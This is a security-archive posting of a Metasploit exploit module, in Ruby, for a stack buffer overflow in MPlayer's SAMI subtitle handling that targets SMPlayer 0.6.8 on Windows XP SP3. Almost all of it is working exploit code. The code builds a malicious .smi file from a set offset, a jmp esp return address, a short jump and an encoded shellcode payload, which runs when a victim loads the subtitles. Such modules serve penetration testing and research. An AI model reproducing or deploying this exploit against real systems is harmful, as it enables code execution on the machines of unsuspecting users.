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MPlayer SAMI Subtitle File Buffer Overflow

MPlayer SAMI Subtitle File Buffer Overflow
Posted May 29, 2012
Authored by juan vazquez, Jacques Louw | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow found in the handling of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer. The overflow is triggered when an unsuspecting victim opens a movie file first, followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also be done from the console with the mplayer "-sub" option.

tags | exploit, overflow
advisories | OSVDB-74604
MD5 | f0b1098a17d77ade6837c0e5682add3f

MPlayer SAMI Subtitle File Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'MPlayer SAMI Subtitle File Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow found in the handling
of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.

The overflow is triggered when an unsuspecting victim opens a movie file first,
followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
be done from the console with the mplayer "-sub" option.
},
'License' => MSF_LICENSE,
'Author' => [
'Jacques Louw', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'BID', '49149' ],
[ 'OSVDB', '74604' ],
[ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',
{
'Offset' => 1033,
'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc
'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss
}
],
],
'Privileged' => false,
'DisclosureDate' => 'May 19 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.smi']),
], self.class)
end

# Split the subtitle to avoid mplayer complaining
# about the line max length
def sami_encode(s)
r = ""
i = 0
while i < s.length
r << s[i, 32]
r << "\n"
i += 32
end
r
end

def exploit

sploit = rand_text(target['Offset'])
sploit << [target.ret].pack("V")
sploit << "\xeb\x06" # jmp short 0x8
sploit << rand_text(2)
sploit << [target['WritableAddress']].pack("V")
sploit << payload.encoded

sami = "<SAMI>\n"
sami << "<BODY>\n"
sami << "<SYNC Start=100550>\n"
sami << sami_encode(sploit)
sami << "</SYNC>\n"
sami << "</BODY>\n"
sami << "</SAMI>\n"

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sami)
end

end

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